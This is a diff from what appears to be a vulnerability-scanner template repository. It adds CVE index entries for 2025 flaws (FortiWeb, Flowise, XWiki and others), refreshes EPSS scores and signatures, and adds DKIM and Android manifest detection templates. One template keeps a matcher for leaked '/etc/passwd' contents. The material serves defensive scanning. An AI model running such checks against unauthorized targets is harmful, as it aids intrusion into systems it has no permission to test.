+{"ID":"CVE-2025-44136","Info":{"Name":"MapTiler Tileserver-php v2.0 - Unauthenticated XSS","Severity":"medium","Description":"MapTiler Tileserver-php v2.0 contains a reflected XSS caused by unencoded reflection of the GET parameter \\\"layer\\\" in an error message, letting unauthenticated attackers execute arbitrary script on victim browsers.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-44136.yaml"}
+{"ID":"CVE-2025-44137","Info":{"Name":"MapTiler Tileserver-php v2.0 - Unauthenticated File Read","Severity":"high","Description":"MapTiler Tileserver-php v2.0 contains a directory traversal caused by improper sanitization of GET parameters in renderTile function, letting attackers read arbitrary files on the server, exploit requires crafted web requests\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-44137.yaml"}
 {"ID":"CVE-2025-44148","Info":{"Name":"MailEnable Mail Service \u003c v10 - Cross-Site Scripting","Severity":"medium","Description":"Cross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx component.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-44148.yaml"}
 {"ID":"CVE-2025-44177","Info":{"Name":"White Star Software ProTop - Directory Traversal","Severity":"high","Description":"A directory traversal vulnerability was discovered in White Star Software Protop version 4.4.2-2024-11-27, specifically in the /pt3upd/ endpoint. An unauthenticated attacker can remotely read arbitrary files on the underlying OS using encoded traversal sequences.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2025/CVE-2025-44177.yaml"}
 {"ID":"CVE-2025-4427","Info":{"Name":"Ivanti Endpoint Manager Mobile - Unauthenticated Remote Code Execution","Severity":"critical","Description":"An authentication bypass in Ivanti Endpoint Manager Mobile allowing attackers to access protected resources without proper credentials. This leads to unauthenticated Remote Code Execution via unsafe userinput in one of the bean validators which is sink for Server-Side Template Injection.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-4427.yaml"}
@@ -3393,6 +3405,8 @@
 {"ID":"CVE-2025-51482","Info":{"Name":"Letta Letta 0.7.12 - Remote Code Execution","Severity":"high","Description":"Letta 0.7.12 is vulnerable to remote code execution via POST /v1/tools/run in letta.server.rest_api.routers.v1.tools.run_tool_from_source, allowing attackers to execute arbitrary Python and OS commands via crafted tool source code.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-51482.yaml"}
 {"ID":"CVE-2025-51501","Info":{"Name":"Microweber CMS2.0 - Cross-Site Scripting","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51501.yaml"}
 {"ID":"CVE-2025-51502","Info":{"Name":"Microweber CMS 2.0 - Reflected XSS in Admin Page Creation","Severity":"medium","Description":"Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-51502.yaml"}
+{"ID":"CVE-2025-51990","Info":{"Name":"XWiki – Stored Cross-Site Scripting (XSS)","Severity":"medium","Description":"XWiki through version 17.3.0 contains stored cross-site scripting caused by improper sanitization of inputs in the Administration interface's Presentation section, letting authenticated administrators inject JavaScript that executes in visitors' browsers, exploit requires administrator authentication.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-51990.yaml"}
+{"ID":"CVE-2025-51991","Info":{"Name":"XWiki \u003c= 17.3.0 - Server-Side Template Injection (SSTI)","Severity":"critical","Description":"XWiki \u003c= 17.3.0 contains a server-side template injection caused by improper validation of Apache Velocity template code in the Administration interface HTTP Meta Info field, letting authenticated administrators execute arbitrary template logic.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-51991.yaml"}
 {"ID":"CVE-2025-52207","Info":{"Name":"MikoPBX - Unrestricted File Upload","Severity":"critical","Description":"MikoPBX through 2024.1.114 contains an authenticated unrestricted file upload vulnerability caused by allowing PHP script uploads in PBXCoreREST/Controllers/Files/PostController.php.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-52207.yaml"}
 {"ID":"CVE-2025-52472","Info":{"Name":"XWiki - HQL Injection","Severity":"high","Description":"XWiki is vulnerable to Hibernate Query Language (HQL) injection in the wiki and space search REST API starting in version 4.3-milestone-1 and prior to versions 16.10.9, 17.4.2, and 17.5.0. The vulnerability allows attackers to inject malicious HQL queries through the orderField parameter, potentially leading to data extraction, authentication bypass, or remote code execution depending on database backend and configuration.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-52472.yaml"}
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
@@ -3446,12 +3460,14 @@
 {"ID":"CVE-2025-6205","Info":{"Name":"DELMIA Apriso - Broken Access Control","Severity":"high","Description":"DELMIA Apriso Release 2020 through Release 2025 contains a broken access control vulnerability caused by missing authorization, letting attackers gain privileged access to the application, exploit requires no special conditions.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-6205.yaml"}
 {"ID":"CVE-2025-6403","Info":{"Name":"Code-Projects School Fees Payment System 1.0 - SQL Injection","Severity":"critical","Description":"A vulnerability was found in code-projects School Fees Payment System 1.0. It has been rated as critical. This issue affects some unknown processing of the file /student.php. The manipulation of the argument ID leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6403.yaml"}
 {"ID":"CVE-2025-64095","Info":{"Name":"DNN - Unrestricted Arbitrary File Upload","Severity":"critical","Description":"DNN (formerly DotNetNuke) \\u003C 10.1.1 contains an unrestricted file upload vulnerability caused by the default HTML editor provider allowing unauthenticated file uploads and overwriting existing files, letting unauthenticated attackers deface websites and inject XSS payloads, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-64095.yaml"}
+{"ID":"CVE-2025-64446","Info":{"Name":"FortiWeb - Authentication Bypass","Severity":"critical","Description":"A relative path traversal vulnerability in Fortinet FortiWeb 8.0.0 through 8.0.1, FortiWeb 7.6.0 through 7.6.4, FortiWeb 7.4.0 through 7.4.9, FortiWeb 7.2.0 through 7.2.11, FortiWeb 7.0.0 through 7.0.11 may allow an attacker to execute administrative commands on the system via crafted HTTP or HTTPS requests.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-64446.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
 {"ID":"CVE-2025-6934","Info":{"Name":"The Opal Estate Pro – Property Management \u003c= 1.7.5 - Unauthenticated Privilege Escalation","Severity":"critical","Description":"The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6934.yaml"}
 {"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2025-7160","Info":{"Name":"Zoo Management System 1.0 - SQL Injection","Severity":"critical","Description":"Zoo Management System 1.0 contains a SQL injection vulnerability via the username parameter on the login page. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-7160.yaml"}
 {"ID":"CVE-2025-8085","Info":{"Name":"Ditty \u003c 3.1.58 - Server-Side Request Forgery","Severity":"high","Description":"The plugin lacks authorization and authentication for requests to its displayItems endpoint, allowing unauthenticated visitors to make requests to arbitrary URLs. v3.1.57 attempted to fix the issue with a nonce check, however any authenticated users, such as subscriber can retrieve it.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-8085.yaml"}
 {"ID":"CVE-2025-8868","Info":{"Name":"Chef Automate \u003c 4.13.295 — SQL Injection","Severity":"critical","Description":"In Progress Chef Automate, versions earlier than 4.13.295, on Linux x86 platform, an authenticated attacker can gain access to Chef Automate restricted functionality in the compliance service via improperly neutralized inputs used in an SQL command using a well-known token.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8868.yaml"}
+{"ID":"CVE-2025-8943","Info":{"Name":"Flowise \u003c 3.0.1 - Remote Command Execution","Severity":"critical","Description":"The Custom MCPs feature is designed to execute OS commands, for instance, using tools like `npx` to spin up local MCP Servers. However, Flowise's inherent authentication and authorization model is minimal and lacks role-based access controls (RBAC). Furthermore, in Flowise versions before 3.0.1 the default installation operates without authentication unless explicitly configured. This combination allows unauthenticated network attackers to execute unsandboxed OS commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-8943.yaml"}
 {"ID":"CVE-2025-9196","Info":{"Name":"Trinity Audio \u003c= 5.21.0 - Information Exposure","Severity":"medium","Description":"The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-9196.yaml"}
 {"ID":"CVE-2025-9744","Info":{"Name":"Loan Management System 1.0 - SQL Injection","Severity":"critical","Description":"Loan Management System 1.0 contains a SQL injection vulnerability via the username parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-9744.yaml"}
 {"ID":"CVE-2025-9985","Info":{"Name":"Featured Image from URL (FIFU) \u003c= 5.2.7 - Unauthenticated Information Exposure via Log File","Severity":"medium","Description":"The Featured Image from URL (FIFU) plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.2.7 through publicly exposed log files. This makes it possible for unauthenticated attackers to view potentially sensitive information contained in the exposed log files.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-9985.yaml"}
@@ -3530,6 +3546,7 @@
 {"ID":"CVE-2024-23897","Info":{"Name":"Jenkins \u003c 2.441 - Arbitrary File Read","Severity":"high","Description":"Jenkins 2.441 and earlier, LTS 2.426.2 and earlier does not disable a feature of its CLI command parser that replaces an '@' character followed by a file path in an argument with the file's contents, allowing unauthenticated attackers to read arbitrary files on the Jenkins controller file system.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2024/CVE-2024-23897.yaml"}
 {"ID":"CVE-2024-45519","Info":{"Name":"Zimbra Collaboration Suite \u003c 9.0.0 - Remote Code Execution","Severity":"critical","Description":"SMTP-based vulnerability in the PostJournal service of Zimbra Collaboration Suite that allows unauthenticated attackers to inject arbitrary commands. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft malicious SMTP messages that execute commands under the Zimbra user context. Successful exploitation can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2024/CVE-2024-45519.yaml"}
 {"ID":"CVE-2024-47176","Info":{"Name":"CUPS - Remote Code Execution","Severity":"high","Description":"CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.\nDue to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"javascript/cves/2024/CVE-2024-47176.yaml"}
+{"ID":"CVE-2025-12101","Info":{"Name":"Citrix NetScaler ADC \u0026 Gateway - Reflected XSS / Open Redirect","Severity":"medium","Description":"Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-12101.yaml"}
 {"ID":"CVE-2025-46817","Info":{"Name":"Redis \u003c 8.2.1 lua script - Integer Overflow","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to cause an integer overflow and potentially lead to remote code execution The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46817.yaml"}
 {"ID":"CVE-2025-46818","Info":{"Name":"Redis Lua Sandbox \u003c 8.2.2 - Cross-User Escape","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate different LUA objects and potentially run their own code in the context of another user. The problem exists in all versions of Redis with LUA scripting. This issue is fixed in version 8.2.2. A workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing LUA scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46818.yaml"}
 {"ID":"CVE-2025-46819","Info":{"Name":"Redis  \u003c 8.2.1 Lua Long-String Delimiter - Out-of-Bounds Read","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted LUA script to read out-of-bound data or crash the server and subsequent denial of service. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46819.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-04825279d81a90757969be8bbeccd5b4
+be501254d31608a128625dd1cd4cd0a0

dast/cves/2021/CVE-2021-45046.yaml

@@ -17,7 +17,7 @@ info:
     cve-id: CVE-2021-45046
     cwe-id: CWE-502
     epss-score: 0.9434
-    epss-percentile: 0.99949
+    epss-percentile: 0.99948
   metadata:
     max-request: 1
     confidence: tenative
@@ -62,4 +62,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a004830460221009196c1d6ef2d3d8e4b25ff18bfa83c04a308b9765b740c9162c14bbc6731d5dd022100d96615e2b640d1a1570bb2c83be10885b97f859a08cdf30f244d62072624fd42:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022069ce9ff5dd033a3bd2eaee14a9e6e5175cdf207d6c666e109e218610836d2d7b0220263e687f7859f8216179813064b7ab4d6a5bf70ffddb926657086197a642ba3d:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-22965.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-22965
     cwe-id: CWE-94
-    epss-score: 0.94441
-    epss-percentile: 0.99989
+    epss-score: 0.94436
+    epss-percentile: 0.99986
     cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -55,4 +55,4 @@ http:
         words:
           - "User-Agent: Java"
         case-insensitive: true
-# digest: 4a0a00473045022100cbb1a7ae18dc796cbd8d01a2416573459737a0f5c5bef589a865dba4e022096602206ff2e01b0d20ab6cefb4ab847190e4ea41429ad947a64493881626897d7b9006:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d9f68c753ba6eb22ad392f0b4c4cf4dfa29872f0fc5051787e9d7285e6afc1e902210095507bd25bdd15e8c8ba02f9482c752f0ac73a17d3e70154cf4da15be19b7dca:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-34265.yaml

@@ -17,7 +17,7 @@ info:
     cve-id: CVE-2022-34265
     cwe-id: CWE-89
     epss-score: 0.92734
-    epss-percentile: 0.99742
+    epss-percentile: 0.99743
   tags: sqli,dast,vulhub,cve,cve2022,django,vuln
 
 variables:
@@ -46,4 +46,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 490a004630440220313f97ef1ed9ca9259404dcc6b2a3d20024e5d93c5e240fc3691a60445b3521b02202dc02c16af44d82d9a1c893c9c85690e677e801a7bd2759dad7b66a31591b236:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009b4a7a89e248f4635458cc8e4a9d836c6a6a6897a95c8be5a887ab38a5d9012a022100b35eaa0feab6842b211c2c2ded068b2e3f56182abd7796321fd242b2405dd5d9:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-42889.yaml

@@ -19,7 +19,7 @@ info:
     cve-id: CVE-2022-42889
     cwe-id: CWE-94
     epss-score: 0.94161
-    epss-percentile: 0.99907
+    epss-percentile: 0.99909
   metadata:
     max-request: 1
     confidence: tenative
@@ -68,4 +68,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a00473045022007239687d8e5b0b562ae071607fcc17bf9e0a75003422cc11d019e4c973a71ed022100e39d76c5c714ec810722b624baa6687e4178262aba54c4973139c572bed95be5:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100896171b8c7458f699705f04d0c321539d0715e776c7c2cab1995d9a9ec58b830022100fbb5ca0cf109cd36ba39b5b2fa74091e2c659cf515fc3ece4230c8bae87371ac:922c64590222798bb761d5b6d8e72950

dast/cves/2024/CVE-2024-2961.yaml

@@ -18,8 +18,8 @@ info:
     cvss-score: 7.3
     cve-id: CVE-2024-2961
     cwe-id: CWE-787
-    epss-score: 0.9261
-    epss-percentile: 0.9973
+    epss-score: 0.92804
+    epss-percentile: 0.9975
   tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
 
 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
       - type: regex
         regex:
           - "root:x:0:0"
-# digest: 4b0a00483046022100aa92d96d35809e43ff9944ae82a2d175820a83937e0f8e01f7e7f4bcf976deb9022100db0273ebd16109f8dcc5b9bc3f0cba9388e844a71558447228205f8f635d7b06:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e4f4545c82169d4341e2da1b9a5058551ac8c4c687862b517ef46df16279df6902203499634efa09159343bbd21c9171465968c173fdc6a77bf61f704e3c15657f7b:922c64590222798bb761d5b6d8e72950

dns/dkim-record-detect.yaml

@@ -0,0 +1,49 @@
+id: dkim-record-detect
+
+info:
+  name: DKIM Record - Detection
+  author: princechaddha
+  severity: info
+  description: |
+    A DKIM (DomainKeys Identified Mail) TXT record was detected. DKIM is an email authentication method that allows the receiver to check that an email claimed to have come from a specific domain was indeed authorized by the owner of that domain.
+  reference:
+    - https://www.rfc-editor.org/rfc/rfc6376
+    - https://dkim.org/
+  metadata:
+    max-request: 10
+  tags: dns,dkim,email,discovery
+
+dns:
+  - name: "{{selector}}._domainkey.{{FQDN}}"
+    type: TXT
+
+    payloads:
+      selector:
+        - default
+        - selector1
+        - selector2
+        - google
+        - k1
+        - s1
+        - s2
+        - dkim
+        - mail
+        - email
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "v=DKIM1"
+        case-insensitive: true
+
+      - type: regex
+        regex:
+          - 'p=[A-Za-z0-9+/]{20,}'
+        negative: false
+
+    extractors:
+      - type: regex
+        regex:
+          - "v=DKIM1(.+)"
+# digest: 490a0046304402203b26233c356e1d25b66e4391b61e29c7547624bd7457bdff47b216b4ce142d31022015cf8bf03c1bb50fe65beec8f1f178707487fe245f7d03862d397e2210aaf8a1:922c64590222798bb761d5b6d8e72950

file/android/deep-link-custom-scheme-detect.yaml

@@ -0,0 +1,28 @@
+id: deep-link-custom-scheme-detect
+
+info:
+  name: Android Deep Link - Detect Custom Schemes
+  author: 7h3b4dger
+  severity: info
+  description: Detects custom URI schemes (non-http/https) declared in Deep Link intent filters.
+  tags: android,file,deeplink
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//activity/intent-filter/action[@android:name='android.intent.action.VIEW']"
+          - "//activity/intent-filter/category[@android:name='android.intent.category.BROWSABLE']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:scheme
+        xpath:
+          - "/manifest/application/activity/intent-filter/data[@android:scheme!='http' and @android:scheme!='https']"
+# digest: 4b0a00483046022100dfee623cb783925f2b89ea83c79151915f4162f43ea65bbefc3f722abef572bd022100b858c523655c14169534615ca34ad18ccdae8f6e8f6bdae088ada1b8c25ec943:922c64590222798bb761d5b6d8e72950

file/android/exported-activities.yaml

@@ -0,0 +1,28 @@
+id: exported-activities
+
+info:
+  name: Android Exported Activities - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported (android:exported="true") activities in AndroidManifest.xml, excluding launcher activities and common Google/Jetpack libraries.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//activity[@android:exported='true']"
+          - "//activity/intent-filter/action[@android:name!='android.intent.category.LAUNCHER']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//activity[@android:exported='true'and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 490a004630440220457f58399dc08789899303ee923debaeabb34e6378d3cf92a8990917197c49a6022024f33e09d43b6ec9eb9a496ae9902d84a51e6ab5705a83bf695423d5a7143a89:922c64590222798bb761d5b6d8e72950

file/android/exported-broadcast-receivers.yaml

@@ -0,0 +1,28 @@
+id: exported-broadcast-receivers
+
+info:
+  name: Android Exported Broadcast Receivers in AndroidManifest.xml - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported Broadcast Receivers in AndroidManifest.xml (excluding disabled receivers and Google/Jetpack libraries)
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//receiver[@android:exported='true']"
+          - "//receiver[@android:enabled!='false']"
+        condition: and
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//receiver[@android:exported='true'and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a00483046022100ea0a6074ea4f80d449daef641113ac85735df72bc419255d35f14c94c24ed1d6022100a063cee8432cd71af136b73f1f6cb7e4f1f8121f9699358d61dec8e3c0a76c3e:922c64590222798bb761d5b6d8e72950

file/android/exported-providers.yaml

@@ -0,0 +1,26 @@
+id: exported-providers
+
+info:
+  name: Android Exported Providers - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detects exported content providers declared in the app’s AndroidManifest.xml, excluding those added by dependency libraries.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//provider[@android:exported='true']"
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//provider[@android:exported='true' and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a00483046022100ae19fefa832a8fe0477ab132a4199f1736357246d1481d4ee01922e00b7efba7022100dd90c806e248816f43a478d6bbdf9e16a08975a3bb154c1f88e9a882e8fbfaa7:922c64590222798bb761d5b6d8e72950

file/android/exported-services.yaml

@@ -0,0 +1,26 @@
+id: exported-services
+
+info:
+  name: Android Exported Services - Detect
+  author: 7h3b4dger
+  severity: info
+  description: Detect exported services in AndroidManifest.xml, excluding disabled and common Google/Jetpack library services.
+  tags: android,file,exportedcomponents
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: xpath
+        part: body
+        xpath:
+          - "//service[@android:exported='true']"
+
+    extractors:
+      - type: xpath
+        part: body
+        attribute: android:name
+        xpath:
+          - "//service[@android:exported='true' and not(contains(@android:name, 'androidx')) and not(contains(@android:name, 'google'))]"
+# digest: 4b0a004830460221009100a81cea6ccb3105977ace3ad5131a1a677f7f332e6192c1dcbb5a24705025022100ce7022ee4b51071412405072a5899d71af706efe2c9f965dff02f3d434d6f63e:922c64590222798bb761d5b6d8e72950

file/android/webview-file-access-fromfileurl-java.yaml

@@ -0,0 +1,32 @@
+id: webview-file-access-fromfileurl-java
+
+info:
+  name: Android WebView File Access from file URLs - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView File Access from file URLs enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowFileAccessFromFileURLs(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 490a00463044022034c6c89c765c2dc11e557c4b752bd3c7391a8e514f74343f057b87e1a54856b5022062707c1122b2429879a1b3a5bfb6db32bd202a823b826a099335d5fc9cda48ec:922c64590222798bb761d5b6d8e72950

file/android/webview-file-access-java.yaml

@@ -0,0 +1,32 @@
+id: webview-file-access-java
+
+info:
+  name: Android File Access - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView File Access enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowFileAccess(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 4a0a00473045022028b71ccf953d918f4232cb0c9e4cd8774b3f37f0ed64e7b0c69333893236ea21022100854a654d966c122e26ea8c2220c8d62d2259e173fd6b3a87e80b04b157c9c2ec:922c64590222798bb761d5b6d8e72950

file/android/webview-universal-access-java.yaml

@@ -0,0 +1,32 @@
+id: webview-universal-access-java
+
+info:
+  name: Android WebView Universal Access - Detect in Java sources
+  author: 7h3b4dger
+  severity: info
+  description: Android WebView Universal Access enabling was detected - Java source version.
+  tags: android,file,webview
+
+file:
+  - extensions:
+      - java
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "setAllowUniversalAccessFromFileURLs(true)"
+
+      - type: regex
+        part: body
+        regex:
+          - package\s+(?:.*)
+
+    extractors:
+      - type: regex
+        part: body
+        name: package
+        group: 1
+        regex:
+          - (?m)^\s*package\s+([A-Za-z_][A-Za-z0-9_\.]*)\s*;
+# digest: 4a0a00473045022100b4ab25d9af5156ca830d2354c2ae9495d6e3b2e012187e4f9b48716025f3466102202a72c3a24c91d16dc9e8cb1673ed0ae719718a2ef199d50bc9cec8a35d85cf90:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 490a00463044022001a28cfdfeefcf2533646ec4e84101d825e19d420db7d5d7909b43b437bc547e022060002c6ac0078d9aeed09ea81c2e819a74549e623eec8134a59bfecf0e6055dd:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200d45946d82aebb91925570a0c2ee05fa5278b631f6ed6b000317ac82d0e6e49a022068b744df313e6d304d10ea2f4158601771e5393c94823f9e9583fb0cb954f493:922c64590222798bb761d5b6d8e72950

file/logs/nodejs-framework-exceptions.yaml

@@ -30,4 +30,4 @@ file:
           - 'BadRequestError'
